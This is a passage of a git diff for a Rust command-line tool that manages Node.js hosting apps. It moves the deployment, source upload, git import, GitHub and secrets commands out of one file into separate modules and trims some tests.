args.app_id; - // Treat an empty/whitespace-only value the same as an absent flag, - // matching the pre-typed-args `optional_str` helper's behavior — - // otherwise `--name ""` bypasses the "at least one of" check below - // and would send an invalid patch body. - let name = args.name.filter(|s| !s.trim().is_empty()); - let root_path = args.root_path.filter(|s| !s.trim().is_empty()); - if name.is_none() && root_path.is_none() { - return Err(crate::error::GddyError::validation( - "at least one of --name or --root-path is required", - ) - .into_cli_error()); - } - let mut body = serde_json::Map::new(); - if let Some(name) = name { - body.insert("name".to_owned(), json!(name)); - } - if let Some(root_path) = root_path { - body.insert("rootPath".to_owned(), json!(root_path)); - } - let client = make_client(&ctx, &[APPS_UPDATE]).await?; - let data = client - .patch_app(&app_id, Value::Object(body)) - .await - .map_err(client_err)?; - Ok(CommandResult::new(data)) - }, - ) -} - -fn app_delete_command() -> RuntimeCommandSpec { - RuntimeCommandSpec::new_typed_with_context::( - CommandSpec::from_args::("delete", "Delete a Node.js hosting application") - .with_long("Permanently delete a Node.js hosting application.") - .with_system("hosting") - .with_tier(Tier::Destructive) - .mutates(true) - .with_scopes(&[APPS_DELETE]), - |ctx, args: AppIdArgs| async move { - let app_id = args.app_id; - let client = make_client(&ctx, &[APPS_DELETE]).await?; - client.delete_app(&app_id).await.map_err(client_err)?; - Ok( - CommandResult::new(json!({ "deleted": true, "appId": app_id })).with_next_actions( - vec![next_action( - "hosting nodejs app list", - "List remaining applications", - )], - ), - ) - }, - ) -} - -#[derive(Debug, Clone, clap::Args)] -struct JobIdArgs { - /// App creation job ID. - #[arg(long = "job-id", value_name = "JOB_ID")] - job_id: String, -} - -fn job_get_command() -> RuntimeCommandSpec { - RuntimeCommandSpec::new_typed_with_context::( - CommandSpec::from_args::("get", "Get app creation job status") - .with_long( - "Poll an app creation job until status is `active` (app provisioned) or \ - `failed`. Only used after `app create` — for source upload or git import \ - jobs use `source status` or `source git-status`.", - ) - .with_system("hosting") - .with_tier(Tier::Read) - .with_scopes(&[APPS_CREATE]) - .with_default_fields("id,status") - .with_output_schema::(), - |ctx, args: JobIdArgs| async move { - let job_id = args.job_id; - let client = make_client(&ctx, &[APPS_CREATE]).await?; - let mut data = client - .get_app_creation_status(&job_id) - .await - .map_err(client_err)?; - promote_job_fields(&mut data); - let status = data - .pointer("/job/status") - .and_then(|v| v.as_str()) - .unwrap_or(""); - let mut actions = Vec::new(); - if !is_app_creation_job_terminal(status) { - actions.push( - next_action( - "hosting nodejs job get --job-id ", - "Re-check job status", - ) - .with_param("job-id", NextActionParam::value(job_id)), - ); - } else if status == "active" - && let Some(app_id) = data.pointer("/app/id").and_then(|v| v.as_str()) - { - actions.push( - next_action( - "hosting nodejs app get --app-id ", - "View the provisioned application", - ) - .with_param("app-id", NextActionParam::value(app_id)), - ); - } - Ok(CommandResult::new(data).with_next_actions(actions)) - }, - ) -} - -fn promote_job_fields(data: &mut Value) { - let job = data.get("job").cloned(); - if let (Some(Value::Object(job)), Some(obj)) = (job, data.as_object_mut()) { - for key in ["id", "status"] { - if let Some(v) = job.get(key) { - obj.insert(key.to_owned(), v.clone()); - } - } - } -} - -#[derive(Debug, Clone, clap::Args)] -struct DeploymentListArgs { - /// Application ID. - #[arg(long = "app-id", value_name = "APP_ID")] - app_id: String, - - // Local override of the engine's global `--limit`, typed `i64` to match - // it (see `domain::suggest::SuggestArgs::limit` for the full rationale — - // a differently-typed override panics with a downcast mismatch reading - // the root `ArgMatches`). - #[arg( - long, - value_name = "N", - help = "Maximum deployments to return (1-50)", - allow_negative_numbers = true, - value_parser = clap::value_parser!(i64).range(1..=50) - )] - limit: Option, -} - -fn deployment_list_command() -> RuntimeCommandSpec { - RuntimeCommandSpec::new_typed_with_context::( - CommandSpec::from_args::("list", "List application deployments") - .with_long("List deployments for a Node.js hosting application.") - .with_system("hosting") - .with_tier(Tier::Read) - .with_scopes(&[APPS_READ]), - |ctx, args: DeploymentListArgs| async move { - let app_id = args.app_id; - let limit = args.limit.and_then(|n| u32::try_from(n).ok()); - let client = make_client(&ctx, &[APPS_READ]).await?; - let data = client - .list_deployments(&app_id, limit) - .await - .map_err(client_err)?; - Ok(CommandResult::new(data).with_next_actions(vec![ - next_action( - "hosting nodejs deployment publish --app-id ", - "Publish the latest source", - ) - .with_param("app-id", NextActionParam::value(app_id)), - ])) - }, - ) -} - -fn deployment_publish_command() -> RuntimeCommandSpec { - RuntimeCommandSpec::new_typed_with_context::( - CommandSpec::from_args::( - "publish", - "Promote the app's preview environment to live", - ) - .with_long( - "Promote the app's current preview environment to live, making it \ - available to users. Run after a source upload or git import job reaches \ - `complete`. Poll `status` (variants[].lifecycleState on the publish \ - variant) and `deployment list` for progress.", - ) - .with_system("hosting") - .with_tier(Tier::Mutate) - .mutates(true) - .with_scopes(&[DEPLOY_EXECUTE]), - |ctx, args: AppIdArgs| async move { - let app_id = args.app_id; - let client = make_client(&ctx, &[DEPLOY_EXECUTE]).await?; - let data = client.publish_app(&app_id).await.map_err(client_err)?; - Ok(CommandResult::new(data).with_next_actions(vec![ - next_action( - "hosting nodejs status --app-id ", - "Check application status", - ) - .with_param("app-id", NextActionParam::value(app_id.clone())), - next_action( - "hosting nodejs deployment list --app-id ", - "List deployments", - ) - .with_param("app-id", NextActionParam::value(app_id)), - ])) - }, - ) -} - fn status_command() -> RuntimeCommandSpec { RuntimeCommandSpec::new_typed_with_context::( CommandSpec::from_args::("status", "Get application status") @@ -493,472 +107,6 @@ fn status_command() -> RuntimeCommandSpec { ) } -#[derive(Debug, Clone, clap::Args)] -struct SourceUploadArgs { - /// Application ID. - #[arg(long = "app-id", value_name = "APP_ID")] - app_id: String, - - /// Path to the zip file. - #[arg(long, short = 'f', value_name = "PATH")] - file: String, -} - -fn source_upload_command() -> RuntimeCommandSpec { - RuntimeCommandSpec::new_typed_with_context::( - CommandSpec::from_args::( - "upload", - "Upload a zip of source code to an app's preview environment", - ) - .with_long( - "Upload a zip of source code to an existing app. When the job completes, \ - the code is automatically deployed to the app's preview environment. Use \ - this whenever you want to update the app's code — do not create a new app \ - for each update. After upload completes, run `deployment publish` to \ - promote preview to live.", - ) - .with_system("hosting") - .with_tier(Tier::Mutate) - .mutates(true) - .with_scopes(&[CODE_WRITE]), - |ctx, args: SourceUploadArgs| async move { - let app_id = args.app_id; - let file = args.file; - let path = std::path::Path::new(&file); - if !path.is_file() { - return Err(crate::error::GddyError::validation(format!( - "zip file not found: {file}" - )) - .into_cli_error()); - } - let client = make_client(&ctx, &[CODE_WRITE]).await?; - let data = client - .upload_source(&app_id, path) - .await - .map_err(client_err)?; - let upload_job_id = data.get("jobId").and_then(|v| v.as_str()).unwrap_or(""); - let action = if upload_job_id.is_empty() { - next_action( - "hosting nodejs source status --app-id --job-id ", - "Poll zip upload status", - ) - .with_param("app-id", NextActionParam::value(app_id)) - .with_param("job-id", NextActionParam::required()) - } else { - next_action( - "hosting nodejs source status --app-id --job-id ", - "Poll zip upload status", - ) - .with_param("app-id", NextActionParam::value(app_id)) - .with_param("job-id", NextActionParam::value(upload_job_id)) - }; - Ok(CommandResult::new(data).with_next_actions(vec![action])) - }, - ) -} - -#[derive(Debug, Clone, clap::Args)] -struct AppJobIdArgs { - /// Application ID. - #[arg(long = "app-id", value_name = "APP_ID")] - app_id: String, - - /// Job ID. - #[arg(long = "job-id", value_name = "JOB_ID")] - job_id: String, -} - -fn source_status_command() -> RuntimeCommandSpec { - RuntimeCommandSpec::new_typed_with_context::( - CommandSpec::from_args::("status", "Poll zip upload status") - .with_long( - "Poll a zip source upload job until status is `complete` or `failed`. \ - When `complete`, the source has been deployed to the app's preview \ - environment; run `deployment publish` to promote to live.", - ) - .with_system("hosting") - .with_tier(Tier::Read) - .with_scopes(&[CODE_WRITE]), - |ctx, args: AppJobIdArgs| async move { - let app_id = args.app_id; - let job_id = args.job_id; - let client = make_client(&ctx, &[CODE_WRITE]).await?; - let data = client - .get_source_upload_status(&app_id, &job_id) - .await - .map_err(client_err)?; - let status = data.get("status").and_then(|v| v.as_str()).unwrap_or(""); - let mut actions = Vec::new(); - if !is_source_job_terminal(status) { - actions.push( - next_action( - "hosting nodejs source status --app-id --job-id ", - "Re-check whether the upload has finished", - ) - .with_param("app-id", NextActionParam::value(app_id.clone())) - .with_param("job-id", NextActionParam::value(job_id)), - ); - } else if status == "complete" { - actions.push( - next_action( - "hosting nodejs deployment publish --app-id ", - "Publish after upload completes", - ) - .with_param("app-id", NextActionParam::value(app_id)), - ); - } - Ok(CommandResult::new(data).with_next_actions(actions)) - }, - ) -} - -#[derive(Debug, Clone, clap::Args)] -struct SourceGitArgs { - /// Application ID. - #[arg(long = "app-id", value_name = "APP_ID")] - app_id: String, - - /// Branch to import. - #[arg(long, value_name = "BRANCH")] - branch: String, - - /// Repository in owner/repo format. - #[arg(long, value_name = "OWNER/REPO")] - repo: Option, - - /// Repository clone URL. - #[arg(long = "repo-url", value_name = "URL")] - repo_url: Option, - - /// Repository is private. - #[arg(long)] - private: bool, - - /// Clear working tree before import. - #[arg(long)] - clear: bool, -} - -fn source_git_command() -> RuntimeCommandSpec { - RuntimeCommandSpec::new_typed_with_context::( - CommandSpec::from_args::( - "git", - "Pull a GitHub branch into an app's preview environment", - ) - .with_long( - "Pull a branch from a connected GitHub repository into an existing app. \ - When the job completes, the code is automatically deployed to preview. \ - Use instead of `source upload` when the app's code lives in GitHub. \ - After import completes, run `deployment publish` to promote to live.", - ) - .with_system("hosting") - .with_tier(Tier::Mutate) - .mutates(true) - .with_scopes(&[CODE_WRITE]), - |ctx, args: SourceGitArgs| async move { - let app_id = args.app_id; - let branch = args.branch; - let mut body = json!({ "branch": branch }); - // Treat an empty/whitespace-only value the same as an absent - // flag, matching the pre-typed-args `optional_str` helper's - // behavior — otherwise `--repo ""` would forward an invalid - // empty field into the request body. - if let Some(repo) = args.repo.filter(|s| !s.trim().is_empty()) { - body["repoFullName"] = json!(repo); - } - if let Some(repo_url) = args.repo_url.filter(|s| !s.trim().is_empty()) { - body["repoUrl"] = json!(repo_url); - } - if args.private { - body["isPrivate"] = json!(true); - } - if args.clear { - body["clearWorkingTree"] = json!(true); - } - let client = make_client(&ctx, &[CODE_WRITE]).await?; - let data = client - .start_git_import(&app_id, body) - .await - .map_err(client_err)?; - let job_id = data.get("jobId").and_then(|v| v.as_str()).unwrap_or(""); - let action = if job_id.is_empty() { - next_action( - "hosting nodejs source git-status --app-id --job-id ", - "Poll git import status", - ) - .with_param("app-id", NextActionParam::value(app_id)) - .with_param("job-id", NextActionParam::required()) - } else { - next_action( - "hosting nodejs source git-status --app-id --job-id ", - "Poll git import status", - ) - .with_param("app-id", NextActionParam::value(app_id)) - .with_param("job-id", NextActionParam::value(job_id)) - }; - Ok(CommandResult::new(data).with_next_actions(vec![action])) - }, - ) -} - -fn source_git_status_command() -> RuntimeCommandSpec { - RuntimeCommandSpec::new_typed_with_context::( - CommandSpec::from_args::("git-status", "Poll git import job status") - .with_long( - "Poll a GitHub source import job until status is `complete` or `failed`. \ - When `complete`, the source has been deployed to the app's preview \ - environment; run `deployment publish` to promote to live.", - ) - .with_system("hosting") - .with_tier(Tier::Read) - .with_scopes(&[CODE_READ]), - |ctx, args: AppJobIdArgs| async move { - let app_id = args.app_id; - let job_id = args.job_id; - let client = make_client(&ctx, &[CODE_READ]).await?; - let data = client - .get_git_import_status(&app_id, &job_id) - .await - .map_err(client_err)?; - let status = data.get("status").and_then(|v| v.as_str()).unwrap_or(""); - let mut actions = Vec::new(); - if !is_source_job_terminal(status) { - actions.push( - next_action( - "hosting nodejs source git-status --app-id --job-id ", - "Re-check whether the import has finished", - ) - .with_param("app-id", NextActionParam::value(app_id.clone())) - .with_param("job-id", NextActionParam::value(job_id)), - ); - } else if status == "complete" { - actions.push( - next_action( - "hosting nodejs deployment publish --app-id ", - "Publish after import completes", - ) - .with_param("app-id", NextActionParam::value(app_id)), - ); - } - Ok(CommandResult::new(data).with_next_actions(actions)) - }, - ) -} - -fn github_status_command() -> RuntimeCommandSpec { - RuntimeCommandSpec::new_typed_with_context::( - CommandSpec::from_args::("status", "Show GitHub connection status") - .with_long("Show whether GitHub is connected to a Node.js hosting application.") - .with_system("hosting") - .with_tier(Tier::Read) - .with_scopes(&[GITHUB_EXECUTE]), - |ctx, args: AppIdArgs| async move { - let app_id = args.app_id; - let client = make_client(&ctx, &[GITHUB_EXECUTE]).await?; - let data = client - .get_github_status(&app_id) - .await - .map_err(client_err)?; - let connected = data - .get("connected") - .and_then(|v| v.as_bool()) - .unwrap_or(false); - let mut actions = Vec::new(); - if connected { - actions.push( - next_action( - "hosting nodejs github repos --app-id ", - "List accessible GitHub repositories", - ) - .with_param("app-id", NextActionParam::value(app_id)), - ); - } - Ok(CommandResult::new(data).with_next_actions(actions)) - }, - ) -} - -#[derive(Debug, Clone, clap::Args)] -struct GithubReposArgs { - /// Application ID. - #[arg(long = "app-id", value_name = "APP_ID")] - app_id: String, - - /// Repositories per page (1-100). - #[arg(long = "per-page", value_name = "N", value_parser = clap::value_parser!(u32).range(1..=100))] - per_page: Option, - - /// Sort order (created, updated, pushed, full_name). - #[arg(long, value_name = "SORT", value_parser = ["created", "updated", "pushed", "full_name"])] - sort: Option, -} - -fn github_repos_command() -> RuntimeCommandSpec { - RuntimeCommandSpec::new_typed_with_context::( - CommandSpec::from_args::("repos", "List accessible GitHub repositories") - .with_long("List GitHub repositories accessible to the connected account.") - .with_system("hosting") - .with_tier(Tier::Read) - .with_scopes(&[GITHUB_EXECUTE]), - |ctx, args: GithubReposArgs| async move { - let app_id = args.app_id; - let per_page = args.per_page; - let sort = args.sort; - let client = make_client(&ctx, &[GITHUB_EXECUTE]).await?; - let data = client - .list_github_repos(&app_id, per_page, sort.as_deref()) - .await - .map_err(client_err)?; - Ok(CommandResult::new(data).with_next_actions(vec![ - next_action( - "hosting nodejs github branches --app-id --owner --repo ", - "List branches for a repository", - ) - .with_param("app-id", NextActionParam::value(app_id)) - .with_param("owner", NextActionParam::required()) - .with_param("repo", NextActionParam::required()), - ])) - }, - ) -} - -#[derive(Debug, Clone, clap::Args)] -struct GithubBranchesArgs { - /// Application ID. - #[arg(long = "app-id", value_name = "APP_ID")] - app_id: String, - - /// Repository owner (user or org). - #[arg(long, value_name = "OWNER")] - owner: String, - - /// Repository name. - #[arg(long, value_name = "REPO")] - repo: String, - - /// Branches per page (1-100). - #[arg(long = "per-page", value_name = "N", value_parser = clap::value_parser!(u32).range(1..=100))] - per_page: Option, -} - -fn github_branches_command() -> RuntimeCommandSpec { - RuntimeCommandSpec::new_typed_with_context::( - CommandSpec::from_args::( - "branches", - "List branches for a GitHub repository", - ) - .with_long("List branches for a GitHub repository accessible to the connected account.") - .with_system("hosting") - .with_tier(Tier::Read) - .with_scopes(&[GITHUB_EXECUTE]), - |ctx, args: GithubBranchesArgs| async move { - let app_id = args.app_id; - let owner = args.owner; - let repo = args.repo; - let per_page = args.per_page; - let client = make_client(&ctx, &[GITHUB_EXECUTE]).await?; - let data = client - .list_github_branches(&app_id, &owner, &repo, per_page) - .await - .map_err(client_err)?; - Ok(CommandResult::new(data).with_next_actions(vec![ - next_action( - "hosting nodejs source git --app-id --repo --branch ", - "Import source from this repository", - ) - .with_param("app-id", NextActionParam::value(app_id)) - .with_param("repo", NextActionParam::value(format!("{owner}/{repo}"))) - .with_param("branch", NextActionParam::required()), - ])) - }, - ) -} - -#[derive(Debug, Clone, clap::Args)] -struct SecretsListArgs { - /// Application ID. - #[arg(long = "app-id", value_name = "APP_ID")] - app_id: String, - - /// Variant filter (preview or publish). - #[arg(long, value_name = "VARIANT", value_parser = ["preview", "publish"])] - variant: Option, -} - -fn secrets_list_command() -> RuntimeCommandSpec { - RuntimeCommandSpec::new_typed_with_context::( - CommandSpec::from_args::( - "list", - "List application secrets (metadata only)", - ) - .with_long("List secret names and metadata. Secret values are never returned.") - .with_system("hosting") - .with_tier(Tier::Read) - .with_scopes(&[SECRETS_WRITE]), - |ctx, args: SecretsListArgs| async move { - let app_id = args.app_id; - let variant = args.variant; - let client = make_client(&ctx, &[SECRETS_WRITE]).await?; - let data = client - .list_secrets(&app_id, variant.as_deref()) - .await - .map_err(client_err)?; - Ok(CommandResult::new(data)) - }, - ) -} - -#[derive(Debug, Clone, clap::Args)] -struct SecretsUpdateArgs { - /// Application ID. - #[arg(long = "app-id", value_name = "APP_ID")] - app_id: String, - - /// JSON file with secret operations. - #[arg(long, short = 'f', value_name = "PATH")] - file: String, -} - -fn secrets_update_command() -> RuntimeCommandSpec { - RuntimeCommandSpec::new_typed_with_context::( - CommandSpec::from_args::( - "update", - "Add, update, or delete application secrets", - ) - .with_long( - "Add, update, or delete secrets from a JSON file. The file must match the \ - `PublicSecretsUpdateBody` schema; use `secrets list` to see which secrets \ - currently exist.", - ) - .with_system("hosting") - .with_tier(Tier::Mutate) - .mutates(true) - .with_scopes(&[SECRETS_WRITE]), - |ctx, args: SecretsUpdateArgs| async move { - let app_id = args.app_id; - let file = args.file; - let content = std::fs::read_to_string(&file).map_err(|e| { - crate::error::GddyError::validation(format!( - "failed to read secrets file '{file}': {e}" - )) - .into_cli_error() - })?; - let body: Value = serde_json::from_str(&content).map_err(|e| { - crate::error::GddyError::validation(format!( - "invalid JSON in secrets file '{file}': {e}" - )) - .into_cli_error() - })?; - let client = make_client(&ctx, &[SECRETS_WRITE]).await?; - let data = client - .update_secrets(&app_id, body) - .await - .map_err(client_err)?; - Ok(CommandResult::new(data)) - }, - ) -} - #[derive(Debug, Clone, clap::Args)] struct LogsArgs { /// Application ID. @@ -1012,39 +160,7 @@ fn logs_command() -> RuntimeCommandSpec { #[cfg(test)] mod tests { - use super::{ - deployment_list_command, is_app_creation_job_terminal, is_source_job_terminal, - promote_job_fields, - }; - use serde_json::json; - - /// Builds a clap command from the real `--limit` arg rather than a hand-rolled copy. - fn deployment_list_clap_command() -> clap::Command { - clap::Command::new("list").args(deployment_list_command().spec.args) - } - - #[test] - fn limit_rejects_out_of_range_and_negative_values() { - for bad in ["0", "51", "-1"] { - let err = deployment_list_clap_command() - .try_get_matches_from(["list", "--app-id", "app-1", "--limit", bad]) - .expect_err("out-of-range --limit should be rejected"); - assert_eq!( - err.kind(), - clap::error::ErrorKind::ValueValidation, - "--limit {bad} should fail range validation, got: {err}" - ); - } - } - - #[test] - fn limit_accepts_the_full_valid_range() { - for good in ["1", "50"] { - deployment_list_clap_command() - .try_get_matches_from(["list", "--app-id", "app-1", "--limit", good]) - .expect("value within the valid --limit range should be accepted"); - } - } + use super::{is_app_creation_job_terminal, is_source_job_terminal}; #[test] fn source_job_terminal_status_detection() { @@ -1063,26 +179,4 @@ mod tests { assert!(!is_app_creation_job_terminal("")); assert!(!is_app_creation_job_terminal("ACTIVE")); } - - #[test] - fn promote_job_fields_lifts_id_and_status_to_top() { - let mut data = json!({ - "job": { "id": "job-1", "status": "active" }, - "app": { "id": "app-1", "name": "demo" }, - }); - promote_job_fields(&mut data); - assert_eq!(data["id"], "job-1"); - assert_eq!(data["status"], "active"); - assert_eq!(data["job"]["id"], "job-1"); - assert_eq!(data["app"]["name"], "demo"); - } - - #[test] - fn promote_job_fields_is_noop_without_job() { - let mut data = json!({ "app": { "id": "app-1" } }); - promote_job_fields(&mut data); - assert!(data.get("id").is_none()); - assert!(data.get("status").is_none()); - assert_eq!(data["app"]["id"], "app-1"); - } } diff --git a/rust/src/hosting/nodejs/secrets.rs b/rust/src/hosting/nodejs/secrets.rs new file mode 100644 index 0000000..8bf852c --- /dev/null +++ b/rust/src/hosting/nodejs/secrets.rs @@ -0,0 +1,100 @@ +//! `gddy hosting nodejs secrets` — manage app secrets. + +use cli_engine::{ + CommandResult, CommandSpec, GroupSpec, RuntimeCommandSpec, RuntimeGroupSpec, Tier, +}; +use serde_json::Value; + +use crate::hosting::nodejs::{client_err, make_client}; +use crate::scopes::HOSTING_SECRETS_WRITE as SECRETS_WRITE; + +pub(super) fn group() -> RuntimeGroupSpec { + RuntimeGroupSpec::new(GroupSpec::new("secrets", "Manage app secrets")) + .with_command(list_command()) + .with_command(update_command()) +} + +#[derive(Debug, Clone, clap::Args)] +struct SecretsListArgs { + /// Application ID. + #[arg(long = "app-id", value_name = "APP_ID")] + app_id: String, + + /// Variant filter (preview or publish). + #[arg(long, value_name = "VARIANT", value_parser = ["preview", "publish"])] + variant: Option, +} + +fn list_command() -> RuntimeCommandSpec { + RuntimeCommandSpec::new_typed_with_context::( + CommandSpec::from_args::( + "list", + "List application secrets (metadata only)", + ) + .with_long("List secret names and metadata. Secret values are never returned.") + .with_system("hosting") + .with_tier(Tier::Read) + .with_scopes(&[SECRETS_WRITE]), + |ctx, args: SecretsListArgs| async move { + let app_id = args.app_id; + let variant = args.variant; + let client = make_client(&ctx, &[SECRETS_WRITE]).await?; + let data = client + .list_secrets(&app_id, variant.as_deref()) + .await + .map_err(client_err)?; + Ok(CommandResult::new(data)) + }, + ) +} + +#[derive(Debug, Clone, clap::Args)] +struct SecretsUpdateArgs { + /// Application ID. + #[arg(long = "app-id", value_name = "APP_ID")] + app_id: String, + + /// JSON file with secret operations. + #[arg(long, short = 'f', value_name = "PATH")] + file: String, +} + +fn update_command() -> RuntimeCommandSpec { + RuntimeCommandSpec::new_typed_with_context::( + CommandSpec::from_args::( + "update", + "Add, update, or delete application secrets", + ) + .with_long( + "Add, update, or delete secrets from a JSON file. The file must match the \ + `PublicSecretsUpdateBody` schema; use `secrets list` to see which secrets \ + currently exist.", + ) + .with_system("hosting") + .with_tier(Tier::Mutate) + .mutates(true) + .with_scopes(&[SECRETS_WRITE]), + |ctx, args: SecretsUpdateArgs| async move { + let app_id = args.app_id; + let file = args.file; + let content = std::fs::read_to_string(&file).map_err(|e| { + crate::error::GddyError::validation(format!( + "failed to read secrets file '{file}': {e}" + )) + .into_cli_error() + })?; + let body: Value = serde_json::from_str(&content).map_err(|e| { + crate::error::GddyError::validation(format!( + "invalid JSON in secrets file '{file}': {e}" + )) + .into_cli_error() + })?; + let client = make_client(&ctx, &[SECRETS_WRITE]).await?; + let data = client + .update_secrets(&app_id, body) + .await + .map_err(client_err)?; + Ok(CommandResult::new(data)) + }, + ) +} diff --git a/rust/src/hosting/nodejs/source/git.rs b/rust/src/hosting/nodejs/source/git.rs new file mode 100644 index 0000000..e250aa6 --- /dev/null +++ b/rust/src/hosting/nodejs/source/git.rs @@ -0,0 +1,140 @@ +use cli_engine::{CommandResult, CommandSpec, NextActionParam, RuntimeCommandSpec, Tier}; +use serde_json::json; + +use super::AppJobIdArgs; +use crate::hosting::nodejs::{client_err, is_source_job_terminal, make_client}; +use crate::next_action::next_action; +use crate::scopes::{HOSTING_CODE_READ as CODE_READ, HOSTING_CODE_WRITE as CODE_WRITE}; + +#[derive(Debug, Clone, clap::Args)] +struct SourceGitArgs { + /// Application ID. + #[arg(long = "app-id", value_name = "APP_ID")] + app_id: String, + + /// Branch to import. + #[arg(long, value_name = "BRANCH")] + branch: String, + + /// Repository in owner/repo format. + #[arg(long, value_name = "OWNER/REPO")] + repo: Option, + + /// Repository clone URL. + #[arg(long = "repo-url", value_name = "URL")] + repo_url: Option, + + /// Repository is private. + #[arg(long)] + private: bool, + + /// Clear working tree before import. + #[arg(long)] + clear: bool, +} + +pub(super) fn command() -> RuntimeCommandSpec { + RuntimeCommandSpec::new_typed_with_context::( + CommandSpec::from_args::( + "git", + "Pull a GitHub branch into an app's preview environment", + ) + .with_long( + "Pull a branch from a connected GitHub repository into an existing app. \ + When the job completes, the code is automatically deployed to preview. \ + Use instead of `source upload` when the app's code lives in GitHub. \ + After import completes, run `deployment publish` to promote to live.", + ) + .with_system("hosting") + .with_tier(Tier::Mutate) + .mutates(true) + .with_scopes(&[CODE_WRITE]), + |ctx, args: SourceGitArgs| async move { + let app_id = args.app_id; + let branch = args.branch; + let mut body = json!({ "branch": branch }); + // Treat an empty/whitespace-only value the same as an absent + // flag, matching the pre-typed-args `optional_str` helper's + // behavior — otherwise `--repo ""` would forward an invalid + // empty field into the request body. + if let Some(repo) = args.repo.filter(|s| !s.trim().is_empty()) { + body["repoFullName"] = json!(repo); + } + if let Some(repo_url) = args.repo_url.filter(|s| !s.trim().is_empty()) { + body["repoUrl"] = json!(repo_url); + } + if args.private { + body["isPrivate"] = json!(true); + } + if args.clear { + body["clearWorkingTree"] = json!(true); + } + let client = make_client(&ctx, &[CODE_WRITE]).await?; + let data = client + .start_git_import(&app_id, body) + .await + .map_err(client_err)?; + let job_id = data.get("jobId").and_then(|v| v.as_str()).unwrap_or(""); + let action = if job_id.is_empty() { + next_action( + "hosting nodejs source git-status --app-id --job-id ", + "Poll git import status", + ) + .with_param("app-id", NextActionParam::value(app_id)) + .with_param("job-id", NextActionParam::required()) + } else { + next_action( + "hosting nodejs source git-status --app-id --job-id ", + "Poll git import status", + ) + .with_param("app-id", NextActionParam::value(app_id)) + .with_param("job-id", NextActionParam::value(job_id)) + }; + Ok(CommandResult::new(data).with_next_actions(vec![action])) + }, + ) +} + +pub(super) fn status_command() -> RuntimeCommandSpec { + RuntimeCommandSpec::new_typed_with_context::( + CommandSpec::from_args::("git-status", "Poll git import job status") + .with_long( + "Poll a GitHub source import job until status is `complete` or `failed`. \ + When `complete`, the source has been deployed to the app's preview \ + environment; run `deployment publish` to promote to live.", + ) + .with_system("hosting") + .with_tier(Tier::Read) + .with_scopes(&[CODE_READ]), + |ctx, args: AppJobIdArgs| async move { + let app_id = args.app_id; + let job_id = args.job_id; + let client = make_client(&ctx, &[CODE_READ]).await?; + let data = client + .get_git_import_status(&app_id, &job_id) + .await + .map_err(client_err)?; + let status = data.get("status").and_then(|v| v.as_str()).unwrap_or(""); + let mut actions = Vec::new(); + if !is_source_job_terminal(status) { + actions.push( + next_action( + "hosting nodejs source git-status --app-id --job-id ", + "Re-check whether the import has finished", + ) + .with_param("app-id", NextActionParam::value(app_id.clone())) + .with_param("job-id", NextActionParam::value(job_id)), + ); + } else if status == "complete" { + actions.push( + next_action( + "hosting nodejs deployment publish --app-id ", + "Publish after import completes", + ) + .with_param("app-id", NextActionParam::value(app_id)), + ); + } + Ok(CommandResult::new(data).with_next_actions(actions)) + }, + ) +} diff --git a/rust/src/hosting/nodejs/source/mod.rs b/rust/src/hosting/nodejs/source/mod.rs new file mode 100644 index 0000000..a3d49be --- /dev/null +++ b/rust/src/hosting/nodejs/source/mod.rs @@ -0,0 +1,30 @@ +//! `gddy hosting nodejs source` — push code to an app's preview environment. + +mod git; +mod status; +mod upload; + +use cli_engine::{GroupSpec, RuntimeGroupSpec}; + +/// Application ID + job ID, shared by the zip-upload and git-import status polls. +#[derive(Debug, Clone, clap::Args)] +struct AppJobIdArgs { + /// Application ID. + #[arg(long = "app-id", value_name = "APP_ID")] + app_id: String, + + /// Job ID. + #[arg(long = "job-id", value_name = "JOB_ID")] + job_id: String, +} + +pub(super) fn group() -> RuntimeGroupSpec { + RuntimeGroupSpec::new(GroupSpec::new( + "source", + "Push code to an app's preview environment", + )) + .with_command(upload::command()) + .with_command(status::command()) + .with_command(git::command()) + .with_command(git::status_command()) +} diff --git a/rust/src/hosting/nodejs/source/status.rs b/rust/src/hosting/nodejs/source/status.rs new file mode 100644 index 0000000..dd5da7e --- /dev/null +++ b/rust/src/hosting/nodejs/source/status.rs @@ -0,0 +1,50 @@ +use cli_engine::{CommandResult, CommandSpec, NextActionParam, RuntimeCommandSpec, Tier}; + +use super::AppJobIdArgs; +use crate::hosting::nodejs::{client_err, is_source_job_terminal, make_client}; +use crate::next_action::next_action; +use crate::scopes::HOSTING_CODE_WRITE as CODE_WRITE; + +pub(super) fn command() -> RuntimeCommandSpec { + RuntimeCommandSpec::new_typed_with_context::( + CommandSpec::from_args::("status", "Poll zip upload status") + .with_long( + "Poll a zip source upload job until status is `complete` or `failed`. \ + When `complete`, the source has been deployed to the app's preview \ + environment; run `deployment publish` to promote to live.", + ) + .with_system("hosting") + .with_tier(Tier::Read) + .with_scopes(&[CODE_WRITE]), + |ctx, args: AppJobIdArgs| async move { + let app_id = args.app_id; + let job_id = args.job_id; + let client = make_client(&ctx, &[CODE_WRITE]).await?; + let data = client + .get_source_upload_status(&app_id, &job_id) + .await + .map_err(client_err)?; + let status = data.get("status").and_then(|v| v.as_str()).unwrap_or(""); + let mut actions = Vec::new(); + if !is_source_job_terminal(status) { + actions.push( + next_action( + "hosting nodejs source status --app-id --job-id ", + "Re-check whether the upload has finished", + ) + .with_param("app-id", NextActionParam::value(app_id.clone())) + .with_param("job-id", NextActionParam::value(job_id)), + ); + } else if status == "complete" { + actions.push( + next_action( + "hosting nodejs deployment publish --app-id ", + "Publish after upload completes", + ) + .with_param("app-id", NextActionParam::value(app_id)), + ); + } + Ok(CommandResult::new(data).with_next_actions(actions)) + }, + ) +} diff --git a/rust/src/hosting/nodejs/source/upload.rs b/rust/src/hosting/nodejs/source/upload.rs new file mode 100644 index 0000000..45b772a --- /dev/null +++ b/rust/src/hosting/nodejs/source/upload.rs @@ -0,0 +1,69 @@ +use cli_engine::{CommandResult, CommandSpec, NextActionParam, RuntimeCommandSpec, Tier}; + +use crate::hosting::nodejs::{client_err, make_client}; +use crate::next_action::next_action; +use crate::scopes::HOSTING_CODE_WRITE as CODE_WRITE; + +#[derive(Debug, Clone, clap::Args)] +struct SourceUploadArgs { + /// Application ID. + #[arg(long = "app-id", value_name = "APP_ID")] + app_id: String, + + /// Path to the zip file. + #[arg(long, short = 'f', value_name = "PATH")] + file: String, +} + +pub(super) fn command() -> RuntimeCommandSpec { + RuntimeCommandSpec::new_typed_with_context::( + CommandSpec::from_args::( + "upload", + "Upload a zip of source code to an app's preview environment", + ) + .with_long( + "Upload a zip of source code to an existing app. When the job \ + completes, the code is automatically deployed to the app's preview \ + environment. Use this whenever 